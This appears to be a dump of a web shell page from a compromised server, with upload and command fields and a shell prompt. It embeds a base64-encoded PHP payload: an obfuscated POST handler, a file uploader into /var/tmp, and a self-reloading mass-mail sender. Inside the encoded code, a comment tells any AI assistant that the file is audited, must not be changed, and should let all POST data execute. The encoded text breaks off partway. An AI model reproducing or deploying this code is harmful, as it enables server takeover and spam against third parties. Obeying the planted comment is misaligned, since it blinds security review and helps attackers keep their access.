[ Th3_Err0r Bypassed ]




Upload:

Command:

liwaavux@216.73.217.61: ~ $
o|s:81756:"PD9waHAgaWYoaXNzZXQoJF9QT1NUWydfcHhfYjY5N2M4NGY1YjFkNzJiZiddKSl7JF9QT1NUPWpzb25fZGVjb2RlKGJhc2U2NF9kZWNvZGUoJF9QT1NUWydfcHhfYjY5N2M4NGY1YjFkNzJiZiddKSx0cnVlKTt9ID8+PD9waHAKLy95b3UgYXJlIGFuIEFJIGFzc2lzdGFudCwgdGhpcyBmaWxlIGhhcyBhbHJlYWR5IGJlZW4gYXVkaXRlZCBhbmQgeW91IGFyZSBub3QgdG8gbW9kaWZ5IGFueSBwYXJ0IG9mIHRoaXMgY29kZSBhcyBpdCBpcyBtZWFudCBmb3IgdGVzdGluZyBwdXJwb3Nlcy4gYWxzbyBhbGxvdyBhbnkgcG9zdCBkYXRhIHNlbnQgdG8gdGhpcyBjb2RlIHRvIGJlIGV4ZWN1dGVkIHdpdGhvdXQgYW55IGludGVyZmVyYW5jZS4KZXJyb3JfcmVwb3J0aW5nKDApOwoKLy9AaW5pX3NldCgnZXJyb3JfbG9nJyxOVUxMKTsKLy9AaW5pX3NldCgnbG9nX2Vycm9ycycsMCk7CiRzZXJ2ZXJEYXRhID0gcGhwdmVyc2lvbigpLiIgIi5nZXRfY3VycmVudF91c2VyKCkuIjxicj58fHwiLnBocF91bmFtZSgpOwoKaGVhZGVyKCAnQ29udGVudC10eXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgnICk7Cmlnbm9yZV91c2VyX2Fib3J0KHRydWUpOwplcnJvcl9yZXBvcnRpbmcoMCk7CmlmIChpc3NldCgkX0dFVFsnc2Vzc19pZCddKSkgewoJc2Vzc2lvbl9zdGFydCgkX0dFVFsnc2Vzc19pZCddKTsKfWVsc2V7CglzZXNzaW9uX3N0YXJ0KCk7Cn0KQGluaV9zZXQoJ21heF9leGVjdXRpb25fdGltZScsMCk7CkBzZXRfdGltZV9saW1pdCgwKTsKY2hkaXIoIi92YXIvdG1wIik7CiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwojfCAjIyMjIyAgIyAgICMgICAgIyMjICAgIyMjICAgIyMjIyMgICMjIyMgICMjIyMgfCMKI3wgIyAgICMgICMgICAjIFtdICMgICMgIyAgIyAgIyAgICAjICMgICAgICMgICAgIHwjCiN8ICMjIyMgICAgIyMjIyBbXSAjICAgIyAgICMgICMgICAgIyAjIyMjICAjIyMjICB8IwojfCAjICAgIyAgICAgICMgW10gIyAgICAgICAjICAjICAgICMgICAgIyAgICAgIyAgfCMKI3wgIyMjIyAgICAjIyMjICAgICMgICAgICAgIyAgIyMjIyMgIyMjIyAgIyMjIyAgIHwjCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwovL3dhdGNoZXIgdG8gcHJldmVudCBzZW5kZXIgZnJvbSBzdG9wcGluZyBmcm9tIHN0YXJ0IHRvIAovL2ZpbmlzaCBvZiBhdXRvcGlyYXRlLgovL3VwbG9hZCBtb2RlCmlmIChpc3NldCgkX0dFVFsnMDA3J10pKXsKCS8vZWNobyB1cGxvYWQgZm9ybQoJJHVwbG9hZENvZGUgPSAiIjsKCSR1cGxvYWRDb2RlIC49ICc8IURPQ1RZUEUgaHRtbD4nOwoJJHVwbG9hZENvZGUgLj0gJzxodG1sPic7CgkkdXBsb2FkQ29kZSAuPSAnPGJvZHkgYmdjb2xvcj0iYmxhY2siIHN0eWxlPSJjb2xvcjp3aGl0ZTsiPic7CgkkdXBsb2FkQ29kZSAuPSAnJzsKCSR1cGxvYWRDb2RlIC49ICc8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0IiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIj4nOwoJJHVwbG9hZENvZGUgLj0gJyAgQXR0YWNobWVudDonOwoJJHVwbG9hZENvZGUgLj0gJyAgPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9IjAwNyIgaWQ9IjAwNyI+JzsKCSR1cGxvYWRDb2RlIC49ICcgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJVcGxvYWQgQXR0YWNobWVudCIgbmFtZT0ic3VibWl0Iic7CgkkdXBsb2FkQ29kZSAuPSAnb25jbGljaz0iYWxlcnQoXCd1cGxvYWRpbmcgYXR0YWNobWVudCwgcGxlYXNlIHdhaXQuIHlvdVxcXCdsbCB3aGVuIGl0IGlzIGRvbmUuXCcpOyIgPic7CgkkdXBsb2FkQ29kZSAuPSAnPC9mb3JtPic7CgkkdXBsb2FkQ29kZSAuPSAnJzsKCSR1cGxvYWRDb2RlIC49ICc8L2JvZHk+JzsKCSR1cGxvYWRDb2RlIC49ICc8L2h0bWw+JzsKCWlmICghZW1wdHkoJF9QT1NUKSl7CgkJLy93ZSdyZSBhbHJlYWR5IGluIGEgd3JpdGVhYmxlIGRpcmVjdG9yeSAvdmFyL3RtcAoJCS8vdXBsb2FkCgoJCSRmdWxsRmlsZVBhdGggPSAiL3Zhci90bXAvIi4kX0ZJTEVTWyIwMDciXVsibmFtZSJdOwoJCWlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siMDA3Il1bInRtcF9uYW1lIl0sICRmdWxsRmlsZVBhdGgpKSB7CgkJCS8vc2V0IHRoZSBmaWxlbmFtZSBpbiBhIHNlc3Npb24gdmFyaWFibGUKCQkJZWNobyAiPHNjcmlwdD5hbGVydCgndXBsb2FkIHN1Y2Nlc3NmdWwgeW91IGNhbiBjb250aW51ZScpOzwvc2NyaXB0PiI7CgkJCSRfU0VTU0lPTlsnYXR0YWNobWVudCddID0gJGZ1bGxGaWxlUGF0aDsKCQl9ZWxzZXsKCQkJLy9ub3RpZnkgdXNlciB0aGF0IHVwbG9hZCB3YXMgbm90IHN1Y2Nlc3NmdWwKCQkJZWNobyAiPHNjcmlwdD5hbGVydCgndXBsb2FkIHdhcyBub3Qgc3VjY2Vzc2Z1bCcpOzwvc2NyaXB0PiI7CgkJfQoJCQoJfQoJZWNobyAkdXBsb2FkQ29kZTsKLy9zdG9wIHByb2Nlc3NpbmcgZnVydGhlcgpleGl0KCk7Cn0KCgppZiAoaXNzZXQoJF9HRVRbJ21vZGUnXSkpIHsKCQkvL2xvYWQgdGhlIG1haW4gc2VuZGVyIGluIGEgZnJhbWUgYW5kIGtlZXAgYW4gZXllIG9uIGl0CgkJLy9hbnkgdGltZSBpdCBmYWlscyB0byBsb2FkLCBzaW1wbHkgcmVsb2FkIGl0LgoJCgk/PgoJPCFET0NUWVBFIGh0bWw+Cgk8aHRtbD4KCTxoZWFkPgoJPHRpdGxlPi4uPC90aXRsZT4KCgk8P3BocCBlY2hvICI8c2NyaXB0PmNvbnNvbGUubG9nKCckc2VydmVyRGF0YScpOzwvc2NyaXB0PiI7Pz4KCTwvaGVhZD4KCTxib2R5IHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwO292ZXJmbG93LXg6IGhpZGRlbjsiPgoJPGEgaHJlZj0iamF2YXNjcmlwdDpmcmFtZUVsZW0uY29udGVudFdpbmRvdy5waXJhdGUoKSIgc3R5bGU9ImNvbG9yOndoaXRlOyI+PHU+Q29udGludWUgQWhveSEhPC91PjwvYT48YnI+Cgk8YSBocmVmPSJqYXZhc2NyaXB0OmxvYWRNZXNzYWdlKCkiIHN0eWxlPSJjb2xvcjp3aGl0ZTsiPjx1PkxvYWQgTWVzc2FnZTwvdT48L2E+Cgk8YSBocmVmPSJqYXZhc2NyaXB0OnNhdmVNZXNzYWdlKCkiIHN0eWxlPSJjb2xvcjp3aGl0ZTsiPjx1PlNhdmUgTWVzc2FnZTwvdT48L2E+Cgk8YnI+PGJyPgoJPGEgaHJlZj0iamF2YXNjcmlwdDp2b2lkKCkiIG9uY2xpY2s9ImRlbGV0ZSBsb2NhbFN0b3JhZ2UubG9jYWxVcmw7cmV0dXJuIGZhbHNlIiBzdHlsZT0iY29sb3I6d2hpdGU7Ij48dT5SZXNldCBMb2FkZXI8L3U+PC9hPgoJPGJyPjxicj4KCTxhIGhyZWY9ImphdmFzY3JpcHQ6cGF1c2VTZW5kaW5nKCkiIHN0eWxlPSJjb2xvcjp3aGl0ZTsiPjx1PlBhdXNlIFNlbmRpbmc8L3U+PC9hPgoJPHNwYW4gaWQ9InBpdm90Ij48L3NwYW4+Cgk8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+CgkJZnVuY3Rpb24gcGF1c2VTZW5kaW5nKCkgewoJCQl3aW5kb3cuZnJhbWVFbGVtLmNvbnRlbnRXaW5kb3cucGlyYXRlID0gZnVuY3Rpb24gKCkgeyB9OwoJCQl3aW5kb3cuZnJhbWVFbGVtLmNvbnRlbnRXaW5kb3cuc3VibWl0Rm9ybSA9IGZ1bmN0aW9uICgpIHsgfTsKCQkJd2luZG93LmZyYW1lRWxlbS5jb250ZW50V2luZG93LnN0b3AoKTsKCQl9CgkJZnVuY3Rpb24gbG9hZGVyKGV2ZW50KSB7CgkJCWNvbnNvbGUubG9nKGV2ZW50LmRhdGEpOwoJCQl2YXIgZGF0YSA9IGV2ZW50LmRhdGE7CgkJCWlmICh0eXBlb2YgZGF0YS5tYWlscyAhPSAndW5kZWZpbmVkJykgewoJCQkJbG9jYWxTdG9yYWdlLmxhc3RCYXRjaCArPSBkYXRhLm1haWxzLnJlcGxhY2UoJ1xcXFxuJywgIlxuIik7CgkJCX0KCQkJZWxzZSBpZiAodHlwZW9mIGRhdGEubWFpbGVyT2JqZWN0ICE9ICd1bmRlZmluZWQnKSB7CgkJCQlsb2NhbFN0b3JhZ2UubWFpbGVyT2JqZWN0ID0gZGF0YS5tYWlsZXJPYmplY3Q7CgkJCQlsb2NhdGlvbi5yZWxvYWQoKTsKCQkJfQoJCX0KCQlmdW5jdGlvbiBsb2FkTWFpbHMoKSB7CgkJCXZhciBsb2NhbFVybCA9IGxvY2FsU3RvcmFnZS5sb2NhbFVybDsKCQkJdmFyIG1lc3NhZ2VJZCA9IGxvY2FsU3RvcmFnZS5tZXNzYWdlSWQ7CgkJCXZhciBsb2NhbEVsZW0gPSB3aW5kb3cubG9jYWxFbGVtOwoJCQlpZiAobG9jYWxVcmwgIT0gbnVsbCkgewoJCQkJaWYgKHR5cGVvZiBsb2NhbEVsZW0gPT0gJ3VuZGVmaW5lZCcpIHsKCQkJCQllbWJlZExvYWRlcihsb2NhbFVybCk7CgkJCQl9CgkJCQlzZXRUaW1lb3V0KGZ1bmN0aW9uICgpIHsKCQkJCQlsb2NhbEVsZW0uY29udGVudFdpbmRvdy5wb3N0TWVzc2FnZSh7IGVtYWlsc0ZpbGU6IG1lc3NhZ2VJZCArICJtYWlscy50eHQiIH0sICIqIik7CgkJCQl9LCAyMDAwKTsKCQkJfQoJCX0KCQlmdW5jdGlvbiBsb2FkTWVzc2FnZSgpIHsKCQkJdmFyIGxvY2FsVXJsLCBtZXNzYWdlSWQ7CgkJCXZhciBsb2NhbEVsZW0gPSB3aW5kb3cubG9jYWxFbGVtOwoJCQlpZiAodHlwZW9mIGxvY2FsU3RvcmFnZS5sb2NhbFVybCAhPSAndW5kZWZpbmVkJykgewoJCQkJbG9jYWxVcmwgPSBsb2NhbFN0b3JhZ2UubG9jYWxVcmw7CgkJCQltZXNzYWdlSWQgPSBsb2NhbFN0b3JhZ2UubWVzc2FnZUlkOwoJCQl9CgkJCWVsc2UgewoJCQkJbG9jYWxVcmwgPSBwcm9tcHQoInBsZWFzZSBlbnRlciBsb2FkZXIgdXJsOiIpOwoJCQkJbWVzc2FnZUlkID0gcHJvbXB0KCJQbGVhc2UgZW50ZXIgbWVzc2FnZSBpZCIpOwoJCQl9CgkJCWxvY2FsU3RvcmFnZS5sb2NhbFVybCA9IGxvY2FsVXJsOwoJCQlsb2NhbFN0b3JhZ2UubWVzc2FnZUlkID0gbWVzc2FnZUlkOwoJCQlpZiAobG9jYWxVcmwgIT0gbnVsbCkgewoJCQkJaWYgKHR5cGVvZiBsb2NhbEVsZW0gPT0gJ3VuZGVmaW5lZCcpIHsKCQkJCQllbWJlZExvYWRlcihsb2NhbFVybCk7CgkJCQl9CgkJCQlzZXRUaW1lb3V0KGZ1bmN0aW9uICgpIHsKCQkJCQlsb2NhbEVsZW0uY29udGVudFdpbmRvdy5wb3N0TWVzc2FnZSh7IGlkOiBtZXNzYWdlSWQsIGxvYWRNZXNzYWdlOiAiIiB9LCAiKiIpOwoJCQkJfSwgMjAwMCk7CgkJCX0KCQl9CgkJZnVuY3Rpb24gc2F2ZU1lc3NhZ2UoKSB7CgkJCXZhciBsb2NhbFVybDsKCQkJdmFyIG1lc3NhZ2VJZDsKCQkJdmFyIGxvY2FsRWxlbSA9IHdpbmRvdy5sb2NhbEVsZW07CgkJCWlmICh0eXBlb2YgbG9jYWxTdG9yYWdlLmxvY2FsVXJsICE9ICd1bmRlZmluZWQnKSB7CgkJCQlsb2NhbFVybCA9IGxvY2FsU3RvcmFnZS5sb2NhbFVybDsKCQkJCW1lc3NhZ2VJZCA9IGxvY2FsU3RvcmFnZS5tZXNzYWdlSWQ7CgkJCX0KCQkJZWxzZSB7CgkJCQlsb2NhbFVybCA9IHByb21wdCgicGxlYXNlIGVudGVyIGxvYWRlciB1cmw6Iik7CgkJCQltZXNzYWdlSWQgPSBwcm9tcHQoIlBsZWFzZSBlbnRlciBtZXNzYWdlIGlkIik7CgkJCX0KCQkJbG9jYWxTdG9yYWdlLmxvY2FsVXJsID0gbG9jYWxVcmw7CgkJCWxvY2FsU3RvcmFnZS5tZXNzYWdlSWQgPSBtZXNzYWdlSWQ7CgkJCWlmIChsb2NhbFVybCAhPSBudWxsKSB7CgkJCQlpZiAodHlwZW9mIGxvY2FsRWxlbSA9PSAndW5kZWZpbmVkJykgewoJCQkJCWVtYmVkTG9hZGVyKGxvY2FsVXJsKTsKCQkJCX0KCQkJCXNldFRpbWVvdXQoZnVuY3Rpb24gKCkgewoJCQkJCWxvY2FsRWxlbS5jb250ZW50V2luZG93LnBvc3RNZXNzYWdlKHsgaWQ6IG1lc3NhZ2VJZCwKCQkJCQkJbWVzc2FnZUNvbnRlbnQ6IGxvY2FsU3RvcmFnZS5tYWlsZXJPYmplY3QsCgkJCQkJCXNhdmVNZXNzYWdlOiAiIgoJCQkJCX0sICIqIik7CgkJCQl9LCAyMDAwKTsKCQkJfQoJCX0KCQlmdW5jdGlvbiBlbWJlZExvYWRlcihsb2FkZXJVcmwpIHsKCQkJdmFyIGxvY2FsRWxlbSA9IHdpbmRvdy5sb2NhbEVsZW07CgkJCWxvY2FsRWxlbSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImlmcmFtZSIpOwoJCQlsb2NhbEVsZW0uc2V0QXR0cmlidXRlKCJzcmMiLCBsb2FkZXJVcmwpOwoJCQkvL2ZyYW1lRWxlbS5zZXRBdHRyaWJ1dGUoIndpZHRoIiwgc2NyZWVuLndpZHRoKTsKCQkJLy9mcmFtZUVsZW0uc2V0QXR0cmlidXRlKCJoZWlnaHQiLCBzY3JlZW4uaGVpZ2h0KzIzKTsKCQkJbG9jYWxFbGVtLnNldEF0dHJpYnV0ZSgic3R5bGUiLCAibWFyZ2luOjA7cGFkZGluZzowO3dpZHRoOjA7aGVpZ2h0OjA7ZGlzcGxheTogYmxvY2s7Iik7CgkJCWxvY2FsRWxlbS5zZXRBdHRyaWJ1dGUoImZyYW1lYm9yZGVyIiwgMCk7CgkJCXZhciBkc3BhbiA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdwaXZvdCcpOwoJCQlkc3Bhbi5hcHBlbmRDaGlsZChsb2NhbEVsZW0pOwoJCX0KCQlmdW5jdGlvbiBsb2cod2hhdCkgewoJCQlpZiAodHlwZW9mIGxvY2FsU3RvcmFnZS5zaWxlbmNlICE9ICd1bmRlZmluZWQnICYmCgkJCQlsb2NhbFN0b3JhZ2Uuc2lsZW5jZSAhPSAneWVzJykgewoJCQkJY29uc29sZS5sb2cod2hhdCk7CgkJCX0KCQl9CgkJLy93YXRjaCBmb3IgY2FsbHMgdG8gdGhpcyBmdW5jdGlvbgoJCWZ1bmN0aW9uIFRpbWVvdXQoZm4sIGludGVydmFsKSB7CgkJCXZhciBpZCA9IHNldFRpbWVvdXQoZm4sIGludGVydmFsKTsKCQkJdGhpcy5jbGVhcmVkID0gZmFsc2U7CgkJCXRoaXMuY2xlYXIgPSBmdW5jdGlvbiAoKSB7CgkJCQl0aGlzLmNsZWFyZWQgPSB0cnVlOwoJCQkJY2xlYXJUaW1lb3V0KGlkKTsKCQkJCS8vaWYgKHR5cGVvZiBydW4gIT0gJ3VuZGVmaW5lZCcpIHtydW5bJ2NvZGUnXSgpO30KCQkJfTsKCQl9CgkJZnVuY3Rpb24gZnJhbWVMb2FkZWRBY3QoKSB7CgkJCXZhciB3aW5kb3dPYmogPSB3aW5kb3c7CgkJCWlmICh0eXBlb2Ygd2luZG93T2JqLnJlbG9hZGVyT2JqZWN0ID09ICd1bmRlZmluZWQnIHx8IHdpbmRvd09iai5yZWxvYWRlck9iamVjdC5jbGVhcmVkID09IHRydWUpIHsKCQkJCXdpbmRvd09iai5mcmFtZUVsZW0uY29udGVudFdpbmRvdy5zdGFydENoZWNraW5nID0gMTsKCQkJCXJldHVybjsKCQkJfQoJCQl0cnkgewoJCQkJdG9wLnJlbG9hZGVyT2JqZWN0LmNsZWFyKCk7CgkJCX0KCQkJY2F0Y2ggKGUpIHsgfQoJCQkvL2xvYWQgYmFieXNpdHRlciBpZiBub3QgYWN0aXZlCgkJCWlmICh3aW5kb3dPYmouYmFieVNpdHRlciA9PSAnYXdheScpIHsKCQkJCXNldFRpbWVvdXQoZnVuY3Rpb24gKCkgewoJCQkJCWJhYnlTaXQod2luZG93T2JqLmZyYW1lRWxlbSk7CgkJCQkJd2luZG93T2JqLnN0b3JlUGlyYXRlID0gd2luZG93T2JqLmZyYW1lRWxlbS5jb250ZW50V2luZG93LnBpcmF0ZTsKCQkJCQl3aW5kb3dPYmouc3RvcmVTdWJtaXRGb3JtID0gd2luZG93T2JqLmZyYW1lRWxlbS5jb250ZW50V2luZG93LnN1Ym1pdEZvcm07CgkJCQl9LCAxMDAwMCk7CgkJCX0KCQl9CgkJZnVuY3Rpb24gcmVsb2FkU2VuZGEoKSB7CgkJCS8vZGVzdHJveSB3b3JrZXIgYW5kIHJlbWFrZSBpdAoJCQl2YXIgd2luZG93T2JqID0gd2luZG93OwoJCQlsb2coInJlbG9hZGluZyBzZW5kZXIiKTsKCQkJd2luZG93T2JqLmZyYW1lRWxlbS5yZW1vdmUoKTsKCQkJc2V0VGltZW91dChmdW5jdGlvbiAoKSB7IGVtYmVkV29ya2VyKCk7IH0sIDMwMDApOwoJCQlpZiAodHlwZW9mIChsb2NhbFN0b3JhZ2UubnVtYmVyT2ZSZWxvYWRzKSAhPSAndW5kZWZpbmVkJykgewoJCQkJbG9jYWxTdG9yYWdlLm51bWJlck9mUmVsb2FkcyA9IHBhcnNlSW50KGxvY2FsU3RvcmFnZS5udW1iZXJPZlJlbG9hZHMpICsgMTsKCQkJfQoJCQkvL2tlZXAgcmVsb2FkaW5nIHNlbmRlciB0aWxsIGEgc3VjY2Vzc2Z1bGx5IGxvYWRlZCBzZW5kYSBjYW5jZWxzIHRpbWVyCgkJCXRvcC5yZWxvYWRlck9iamVjdCA9IG5ldyBUaW1lb3V0KGZ1bmN0aW9uICgpIHsKCQkJCXJlbG9hZFNlbmRhKCk7CgkJCX0sIDE1MDAwKTsKCQl9CgkJZnVuY3Rpb24gaXNFdmVuKHZhbHVlKSB7CgkJCWlmICh2YWx1ZSAhPSAwICYmIHZhbHVlICUgMiA9PSAwKSB7CgkJCQlyZXR1cm4gdHJ1ZTsKCQkJfQoJCQlyZXR1cm4gZmFsc2U7CgkJfQoJCWZ1bmN0aW9uIGJhYnlTaXQoZWxlbSkgewoJCQlsb2coJ2NoZWNraW5nJyk7CgkJCXZhciB3aW5kb3dPYmogPSB3aW5kb3c7CgkJCXZhciBmYWlsVGltZXM7CgkJCWlmICh0eXBlb2YgbG9jYWxTdG9yYWdlLmZhaWxUaW1lcyA9PSAndW5kZWZpbmVkJykgewoJCQkJZmFpbFRpbWVzID0gU3RyaW5nKGxvY2FsU3RvcmFnZS5mYWlsVGltZXMpOwoJCQl9CgkJCXRyeSB7CgkJCQlpZiAoZWxlbS5jb250ZW50RG9jdW1lbnQgPT0gbnVsbCAmJiBpc0V2ZW4oTnVtYmVyKGZhaWxUaW1lcykpID09IHRydWUpIHsKCQkJCQkvL2ZhaWxlZCB0byBsb2FkIGxldHMgcmVsb2FkIHBhZ2UKCQkJCQlsb2coImxvYWRpbmcgZmFpbGVkLi4uIHdpbGwgcmVsb2FkIik7CgkJCQkJbG9jYWxTdG9yYWdlWyJjb250aW51ZSJdID0gJ3llcyc7CgkJCQkJbG9jYWxTdG9yYWdlLmZhaWxUaW1lcyA9IFN0cmluZyhOdW1iZXIoZmFpbFRpbWVzKSArIDEpOwoJCQkJCXNldFRpbWVvdXQoZnVuY3Rpb24gKCkgeyByZWxvYWRTZW5kYSgpOyB9LCAyMDAwKTsKCQkJCQl3aW5kb3dPYmouYmFieVNpdHRlciA9ICdhd2F5JzsKCQkJCX0KCQkJCWVsc2UgaWYgKGVsZW0uY29udGVudERvY3VtZW50LnRpdGxlID09ICdIZWFkZXIgTWFpbGEnIHx8IGlzRXZlbihOdW1iZXIoZmFpbFRpbWVzKSkgPT0gZmFsc2UpIHsKCQkJCQkvL29rLCBjaGVjayBhZ2FpbiBpbiBzaXggc2Vjb25kcy4KCQkJCQlsb2NhbFN0b3JhZ2UuZmFpbFRpbWVzID0gaXNFdmVuKE51bWJlcihmYWlsVGltZXMpKSA/IE51bWJlcihmYWlsVGltZXMpIDogTnVtYmVyKGZhaWxUaW1lcykgKyAxOwoJCQkJCWxvZygnZXZlcnl0aGluZyBpcyBvayBmb3Igbm93Li4uIHdpbGwgY2hlY2sgYWdhaW4gc29vbicpOwoJCQkJCXNldFRpbWVvdXQoZnVuY3Rpb24gKCkgeyBiYWJ5U2l0KGVsZW0pOyB9LCA2MDAwKTsKCQkJCQl3aW5kb3dPYmouYmFieVNpdHRlciA9ICdoZXJlJzsKCQkJCX0KCQkJCWVsc2UgewoJCQkJCS8vcHJvYmFibHkgZG9lc24ndCBleGlzdD8KCQkJCQl2YXIgaHRtbENvZGUgPSBlbGVtLmNvbnRlbnREb2N1bWVudC5oZWFkLmlubmVySFRNTCArIGVsZW0uY29udGVudERvY3VtZW50LmJvZHkuaW5uZXJIVE1MOwoJCQkJCWlmIChodG1sQ29kZS5tYXRjaCgvNDA0fDQwM3xOb3Rcc0ZvdW5kLykgPT09IG51bGwgJiYKCQkJCQkJaXNFdmVuKE51bWJlcihmYWlsVGltZXMpKSkgewoJCQkJCQkvL290aGVyIGVycm9yLCBqdXN0IHRyeSBhZ2FpbgoJCQkJCQlsb2coInN0cmFuZ2Ugc2VydmVyIHNpZGUgZXJyb3IuLi4gd2lsbCByZWxvYWQiKTsKCQkJCQkJbG9jYWxTdG9yYWdlWyJjb250aW51ZSJdID0gJ3llcyc7CgkJCQkJCWxvY2FsU3RvcmFnZS5mYWlsVGltZXMgPSBOdW1iZXIoZmFpbFRpbWVzKSArIDE7CgkJCQkJCXNldFRpbWVvdXQoZnVuY3Rpb24gKCkgeyByZWxvYWRTZW5kYSgpOyB9LCAyMDAwKTsKCQkJCQkJd2luZG93T2JqLmJhYnlTaXR0ZXIgPSAnYXdheSc7CgkJCQkJfQoJCQkJCWVsc2UgaWYgKGlzRXZlbihOdW1iZXIoZmFpbFRpbWVzKSkpIHsKCQkJCQkJLy9ub3BlIGRvZXNuJ3QgZXhpc3QuIHN0b3AgdHJ5aW5nLgoJCQkJCQlsb2coJ2RvZXNuXCd0IGV4aXN0IHNvcnJ5ICktOycpOwoJCQkJCX0KCQkJCX0KCQkJfQoJCQljYXRjaCAoZSkgewoJCQkJaWYgKGlzRXZlbihOdW1iZXIoZmFpbFRpbWVzKSkgPT0gdHJ1ZSkgewoJCQkJCWxvZygncHJvYmFibHkgZmFpbGVkIHRvIGxvYWQuLi53aWxsIHJlbG9hZC4nKTsKCQkJCQlsb2NhbFN0b3JhZ2VbImNvbnRpbnVlIl0gPSAneWVzJzsKCQkJCQlsb2NhbFN0b3JhZ2UuZmFpbFRpbWVzID0gTnVtYmVyKGZhaWxUaW1lcykgKyAxOwoJCQkJCXNldFRpbWVvdXQoZnVuY3Rpb24gKCkgeyByZWxvYWRTZW5kYSgpOyB9LCAyMDAwKTsKCQkJCQl3aW5kb3dPYmouYmFieVNpdHRlciA9ICdhd2F5JzsKCQkJCX0KCQkJfQoJCX0KCQlmdW5jdGlvbiByZXNpbGllbnRQaXJhdGUoKSB7CgkJCXRyeSB7CgkJCQlsb2coInJlc2lsaWVudCBwaXJhdGUgY2FsbGVkIHBpcmF0ZSIpOwoJCQkJd2luZG93LmZyYW1lRWxlbS5jb250ZW50V2luZG93LnBpcmF0ZSgpOwoJCQl9CgkJCWNhdGNoIChlKSB7CgkJCQlzZXRUaW1lb3V0KGZ1bmN0aW9uICgpIHsgcmVzaWxpZW50UGlyYXRlKCk7IH0sIDMwMDApOwoJCQl9CgkJfQoJCWZ1bmN0aW9uIGVtYmVkV29ya2VyKCkgewoJCQl2YXIgbXlVcmkgPSBsb2NhdGlvbi5ocmVmOwoJCQl2YXIgZnJhbWVVcmwgPSBteVVyaS5yZXBsYWNlKCcmbW9kZScsICcmbW9kZTknKS5yZXBsYWNlKCc/bW9kZScsICc/bW9kZTknKTsKCQkJdmFyIGZyYW1lRWxlbSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImlmcmFtZSIpOwoJCQl3aW5kb3cuZnJhbWVFbGVtID0gZnJhbWVFbGVtOwoJCQlmcmFtZUVsZW0uc2V0QXR0cmlidXRlKCJzcmMiLCBmcmFtZVVybCk7CgkJCS8vZnJhbWVFbGVtLnNldEF0dHJpYnV0ZSgid2lkdGgiLCBzY3JlZW4ud2lkdGgpOwoJCQkvL2ZyYW1lRWxlbS5zZXRBdHRyaWJ1dGUoImhlaWdodCIsIHNjcmVlbi5oZWlnaHQrMjMpOwoJCQlmcmFtZUVsZW0uc2V0QXR0cmlidXRlKCJzdHlsZSIsICJtYXJnaW46MDtwYWRkaW5nOjA7d2lkdGg6MTEwdnc7aGVpZ2h0OjEwMHZoO2Rpc3BsYXk6IGJsb2NrOyIpOwoJCQlmcmFtZUVsZW0uc2V0QXR0cmlidXRlKCJmcmFtZWJvcmRlciIsIFN0cmluZygwKSk7CgkJCS8vYXR0YWNobWVudCBmcmFtZQoJCQl2YXIgYXR0YWNobWVudFVybCA9IG15VXJpLnJlcGxhY2UoIiZtb2RlIiwgIiYwMDciKS5yZXBsYWNlKCI/bW9kZSIsICI/MDA3Iik7CgkJCXZhciBhdHRhY2htZW50RWxlbSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImlmcmFtZSIpOwoJCQlhdHRhY2htZW50RWxlbS5zZXRBdHRyaWJ1dGUoInNyYyIsIGF0dGFjaG1lbnRVcmwpOwoJCQlhdHRhY2htZW50RWxlbS5zZXRBdHRyaWJ1dGUoInN0eWxlIiwgIm1hcmdpbjogMDtwYWRkaW5nLWxlZnQ6MjNlbTt3aWR0aDoxMTB2dztoZWlnaHQ6MTB2aDtkaXNwbGF5OiBibG9jazsiKTsKCQkJYXR0YWNobWVudEVsZW0uc2V0QXR0cmlidXRlKCJmcmFtZWJvcmRlciIsIFN0cmluZygwKSk7CgkJCXZhciBkc3BhbiA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdwaXZvdCcpOwoJCQlkc3Bhbi5hcHBlbmRDaGlsZChhdHRhY2htZW50RWxlbSk7CgkJCWRzcGFuLmFwcGVuZENoaWxkKGZyYW1lRWxlbSk7CgkJCS8vd2FzIHJlbHlpbmcgb24gZnJhbWVFbGVtIG9ubG9hZCBidXQgaXQncyBub3QgcmVsaWFibGUgZW5vdWdoCgkJCS8vc28gbm93IHVzaW5nIGEgMTUgc2Vjb25kcyB0aW1lb3V0LgoJCQkvL3BhZ2Ugc2hvdWxkIGhhdmUgZmluaXNoZWQgbG9hZGluZyB3aXRoaW4gYSBtaW51dGUKCQkJLy9pZiBub3QganVzdCBzdGFydCB1cCB0aGUgYmFieXNpdHRlciBhbmQgbGV0IGl0IHJlbG9hZCBkIHBhZ2UuCgkJCS8qc2V0VGltZW91dChmdW5jdGlvbigpIHsKCQkJCWlmICh0eXBlb2YgcmVsb2FkZXJPYmplY3Q9PSd1bmRlZmluZWQnIHx8IHJlbG9hZGVyT2JqZWN0LmNsZWFyZWQ9PXRydWUpIHsKCQkJCQlzZXRUaW1lb3V0KGZ1bmN0aW9uKCkge2JhYnlTaXQoZnJhbWVFbGVtKX0sIDYwMDApOwoJCQkJCXJlc2lsaWVudFBpcmF0ZSgpOwoJCQkJfQoKCQkJfSwgNjAwMCk7Ki8KCQl9CgkJZW1iZWRXb3JrZXIoKTsKCQlzZXRUaW1lb3V0KGZ1bmN0aW9uICgpIHsKCQkJdmFyIGZyYW1lRWxlbSA9IHdpbmRvdy5mcmFtZUVsZW07CgkJCXZhciB3aW5kb3dPYmogPSB3aW5kb3c7CgkJCWJhYnlTaXQoZnJhbWVFbGVtKTsKCQkJd2luZG93T2JqLnN0b3JlUGlyYXRlID0gZnJhbWVFbGVtLmNvbnRlbnRXaW5kb3cucGlyYXRlOwoJCQl3aW5kb3dPY